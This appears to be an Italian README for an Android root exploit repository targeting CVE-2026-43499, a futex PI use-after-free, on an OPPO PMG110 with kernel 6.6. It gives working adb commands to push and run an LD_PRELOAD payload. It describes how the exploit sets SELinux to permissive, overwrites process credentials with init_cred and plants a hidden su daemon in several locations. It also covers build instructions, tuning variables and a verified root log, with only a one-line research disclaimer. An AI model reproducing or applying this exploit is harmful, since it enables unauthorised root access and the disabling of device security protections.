
Exploit LPE per Android per CVE-2026-43499 che ha come target OPPO PMG110 (kernel 6.6). Utilizza futex PI UAF per ottenere root e installare un daemon su tramite LD_PRELOAD.
CVE-2026-43499 (use-after-free di rt_mutex_waiter in futex PI) escalation dei privilegi locale, portata su OPPO PMG110 / K15 Pro+ — MediaTek MT6991, ColorOS 16.
Un solo file trasferito, eseguito tramite LD_PRELOAD:
adb push out/preload-pmg110-16.0.9.400.so /data/local/tmp/preload.so
adb shell chmod 644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
In caso di successo viene lasciato un su persistente:
adb shell /data/local/tmp/su -c id # uid=0(root)
Verificato sul dispositivo (2026-07-27): uid=0 in circa 35 secondi da un'esecuzione semplice senza override delle variabili d'ambiente, e su risponde successivamente da una normale adb shell non privilegiata:
$ adb shell "/data/local/tmp/su -c 'echo 0 > /proc/sys/kernel/kptr_restrict'"
$ adb shell "/data/local/tmp/su -c 'grep -w init_task /proc/kallsyms'"
ffffffe89033e780 D init_task
Sia l'exploit sia l'installazione di su sono verificati su questo dispositivo. Ciò che quella shell con privilegi di root ha poi letto conferma anche P0_KERNEL_PHYS_LOAD, gli offset dei simboli e KS_MTE_TAGGED=0 indipendentemente dall'exploit — vedi targets/pmg110-16.0.9.400/NOTES.md.
Esegue Write 1 (SELinux permissive) e Write 2 (cred → init_cred), porta un processo figlio a uid=0 e da lì installa il demone su incorporato.
su non è un secondo artefatto: su_daemon.c è compilato come PIE aarch64 autonomo e incluso con .incbin nel .rodata della libreria, quindi viaggia dentro preload.so e viene riscritto su file in fase di esecuzione. È la via di warhol-root, invariata.ksud, niente KernelSUsu viene installato in tre posti, perché uno di questi è quello a cui accederai davvero:
Il demone ascolta su /data/local/tmp/temp_su.sock e scrive il log in /data/local/tmp/su_daemon.log. Root non è persistente tra i riavvii — rilancia la riga LD_PRELOAD dopo ogni avvio.
Per l'installazione di KernelSU, usa invece la via /data/local/tmp/a/e in ghostlock-oneplus.
Tutto tranne il nucleo dell'exploit è di warhol-root, preso invece che reinventato:
targets/<device>/, copiati in source/src/ in fase di build, così cambiando DEVICE non si possono mai lasciare indietro gli header del dispositivo precedentesource/Makefile (NDK se presente, altrimenti clang dell'host contro il sysroot NDK) e la regola di embedding in due fasi che produce build/embed/su_daemon_aarch64_pie prima di linkare il .sosu_daemon.c e su_blob.S sono byte-identici a quelli di warhol-root, e su_install.c è il suo installer preload.cIl nucleo dell'exploit non è di warhol-root. warhol-root è popsicle, ancorato a GKI 6.12 / android16 e il suo generate_target.py rifiuta qualsiasi altro banner. PMG110 è 6.6 / android15, quindi il nucleo qui è l'albero ghostlock 6.6 — a sua volta discendente dello stesso codice (kernelsnitch/utils.h e timeutils.h sono byte-identici tra i due repository), ulteriormente sviluppato.
Ogni riga dell'exploit vero e proprio — Write 1, Write 2, KernelSnitch, la via pselect — è lo stesso codice in entrambi gli alberi.
Questa è l'unica differenza strutturale, ed è imposta dal fatto che i due alberi ottengono root in forme diverse.
warhol-root porta a root il processo dell'exploit stesso e quindi chiama install_embedded_su() direttamente da run_direct_root(). Qui Write 2 sostituisce il puntatore cred di un figlio forkato e il padre resta il chiamante non privilegiato, quindi il figlio in child_main() è l'unico contesto che può fare l'installazione — ed è lì che viene eseguita.
Entrambi gli alberi hanno lo stesso stub weak install_embedded_su() in util.c che restituisce ENOSYS; fornire la definizione strong è ciò che attiva la via. Vale la pena saperlo perché una build che per qualche motivo esclude su_install.c viene comunque linkata e funziona — riporta solo su=0/38 e non installa nulla.
make # = make preload -> out/preload-<DEVICE>.so
make DEVICE=<name> # use targets/<name>/
make devices # list available DEVICE values
make info # show the selected target and the resolved toolchain
La toolchain viene trovata da sola: prima ANDROID_NDK_HOME / ANDROID_NDK_ROOT, poi le solite posizioni di installazione di NDK per Linux e macOS e, se tutte falliscono, clang dell'host con target sul sysroot NDK. Imposta ANDROID_NDK_HOME solo per sovrascrivere la ricerca. make info stampa cosa ha scelto.
La build è in due fasi, ed è la parte che vale la pena conoscere:
su_daemon.c → build/embed/su_daemon_aarch64_pie, un PIE aarch64 autonomosu_blob.S include con .incbin quel binario in .rodata, e il tutto viene linkato nell'unico preload.soQuindi make clean e una rebuild sono l'unico modo per cambiare il su incorporato — modificare il solo su_daemon.c è sufficiente, la dipendenza è dichiarata, ma il blob è un artefatto di build e non è tracciato.
targets/<device>/{target.h,device_offsets.h} vengono ricopiati in source/src/ a ogni build, così un header obsoleto di un altro dispositivo non può essere raccolto silenziosamente.
out/*.so non è tracciato (stessa convenzione di warhol-root) — clona e fai make.
Il .so è compilato con -fvisibility=hidden ed esporta zero simboli. Una libreria LD_PRELOAD vince la risoluzione dei simboli per l'intero processo, quindi qualsiasi cosa esportata potrebbe oscurare un simbolo con lo stesso nome nel binario host o in libc. Quel flag governa solo la generazione di codice C, quindi su_blob.S marca i suoi due simboli come .hidden a mano — senza quelle righe i limiti del blob sarebbero l'unica cosa che la libreria esporterebbe ancora.
Nessuna di queste è servita nell'esecuzione verificata.
[*] futex_hashsize 2048 (8 possible CPUs)
[*] ks collisions=3/3 baseline=8 threshold=10x (80) accepted=[1244..1597] slowest_rejected=N
[+] child uid = 0
[+] embedded su wrote 15304 bytes to /apex/com.android.virt/bin/su
[+] embedded su daemon ready pid=NNNN socket=/data/local/tmp/temp_su.sock daemon=/apex/com.android.virt/bin/su
[+] embedded su install ok=1 errno=0 daemon=NNNN
[+] su ready: /data/local/tmp/su and /apex/com.android.virt/bin/su
[+] ghostlock preload verdict: EXPLOIT OK
child uid = 0 è l'exploit riuscito; tutto ciò che viene dopo è l'installazione. I due eventi sono riportati separatamente di proposito, e così anche il verdetto:
Quello di mezzo è la distinzione che vale la pena avere: dice che gli offset in target.h sono giusti per questa build e che il problema è da qualche parte nell'installazione, che è una cosa completamente diversa da debuggare. su=0/38 (ENOSYS) al suo interno significa specificamente che è stato linkato lo stub weak.
mm_struct leak failed seguito da prepare_kernel_page retry N/24 non è un fallimento. È l'avanzamento del loop, e anche l'esecuzione riuscita lo mostra. Nulla è fallito finché i 24 tentativi non sono esauriti e appare prepare_kernel_page timeout. Allo stesso modo probing cfi ... expected=9 con child uid = 2000 è un giro mancato, su dieci.
Non giudicare un'esecuzione da un log troncato — quell'errore è costato un intero giro di diagnosi sbagliata qui.
Anche un'intera esecuzione fallita è normale. La race di pselect non è al 100%: un'esecuzione può perderla cinque volte di fila e terminare con Write 1 failed, e quella successiva la vince al primo tentativo con ret=9. Osservato su questo dispositivo. ret=4 expected=9 è l'aspetto di una race persa, non di un target.h sbagliato — un singolo fallimento non è un motivo per ricalcolare gli offset. Rieseguila.
Solo per ricerca sulla sicurezza autorizzata e scopi educativi.
| Device | OPPO PMG110 / K15 Pro+ / OP61E5L1 |
| SoC | MediaTek MT6991 (Dimensity 9500s) |
| Kernel | 6.6.118-android15-8-g93e223c276e7-abogki500782043-4k (GKI, 4K pages) |
| Build | ColorOS 16 / PMG110_16.0.9.400(CN01) — stessi byte del kernel di 16.0.8.300 |
| Bug | CVE-2026-43499, non corretto in questa immagine (mostrato dal disassembly, non dalla versione) |
| Path | Why |
|---|
/apex/com.android.virt/bin/su | su un tmpfs montato sopra quella directory; nel PATH di una shell root |
/data/local/tmp/su | raggiungibile da una semplice adb shell senza giochi di PATH |
/apex/com.android.virt/bin/su nel mount namespace di adbd | installato via setns, quindi una nuova adb shell lo vede |
| File | Relationship |
|---|
util.c slide.c fops.c pipe.c root.c miniadb.c common.h offset.h kernelsnitch/* | di ghostlock, byte-identici |
su_daemon.c su_blob.S | di warhol-root, byte-identici (su_blob.S aggiunge due righe .hidden — vedi Build) |
su_install.c | l'installer preload.c di warhol-root, spostato in un file proprio perché il preload.c di questo albero ha già un compito diverso |
main.c | di ghostlock, più la chiamata a su nel figlio con root e la segnalazione del risultato |
preload.c | solo qui — il costruttore e il log a doppia destinazione |
offsets.h | solo definizione della struct; la voce è copiata da targets/<device>/device_offsets.h |
| Variable | Effect |
|---|
GHOSTLOCK_LOG | destinazione del log (default /data/local/tmp/.ghostlock.log); l'output va su stdout e sul file |
GHOSTLOCK_KS_VERBOSE=1 | stampa gli indirizzi di collisione e gli intervalli di sweep di KernelSnitch |
GHOSTLOCK_KS_THRESHOLD=<n> | sovrascrive il moltiplicatore di soglia delle collisioni |
GHOSTLOCK_MTE=1 | esegue lo sweep anche dei tag dei puntatori del kernel (15x più lento) |
GHOSTLOCK_PHYS_LOAD=0x... | sovrascrive l'indirizzo di caricamento fisico del kernel |
PSELECT_SHIFT=<n> | sovrascrive lo shift dell'overlay di stack (sostituisce, non aggiunge) |
| Verdict | Meaning |
|---|
EXPLOIT OK | root, e su risponde |
EXPLOIT OK, SU INSTALL FAILED | Write 1 e Write 2 sono andati a segno; solo l'installazione è fallita |
EXPLOIT FAILED | le scritture non sono andate a segno |
ABORTED | l'esecuzione è terminata prima di poter riportare — leggi l'ultima riga [!] |
| Path | Contents |
|---|
source/src/preload.c | costruttore: esegue l'exploit, riporta, si ferma |
source/src/main.c | l'exploit stesso (Write 1 / Write 2) |
source/src/su_daemon.c | il binario su — compilato standalone come PIE aarch64, non linkato nel .so |
source/src/su_blob.S | include con .incbin quel PIE nel .rodata del .so |
source/src/su_install.c | riscrive il blob su file, avvia il demone, lo sonda |
source/src/target.h | destinazione di staging (gitignored) |
targets/<device>/target.h | layout a tempo di compilazione: offset delle struct, costanti physmap, forme di slab e futex |
targets/<device>/device_offsets.h | offset dei simboli globali da kallsyms |
tools/extract_device.py | boot.img → offset, campi delle struct BTF, risultato dell'overlay pselect |
tools/preloader_memlayout.py | preloader MediaTek → P0_KERNEL_PHYS_LOAD |
tools/qemu_verify.py | avvia il kernel sotto QEMU: misura l'overlay di stack, verifica la stabilità della mappa lineare |
tools/device_probe.sh | controllo preliminare da una shell adb non privilegiata |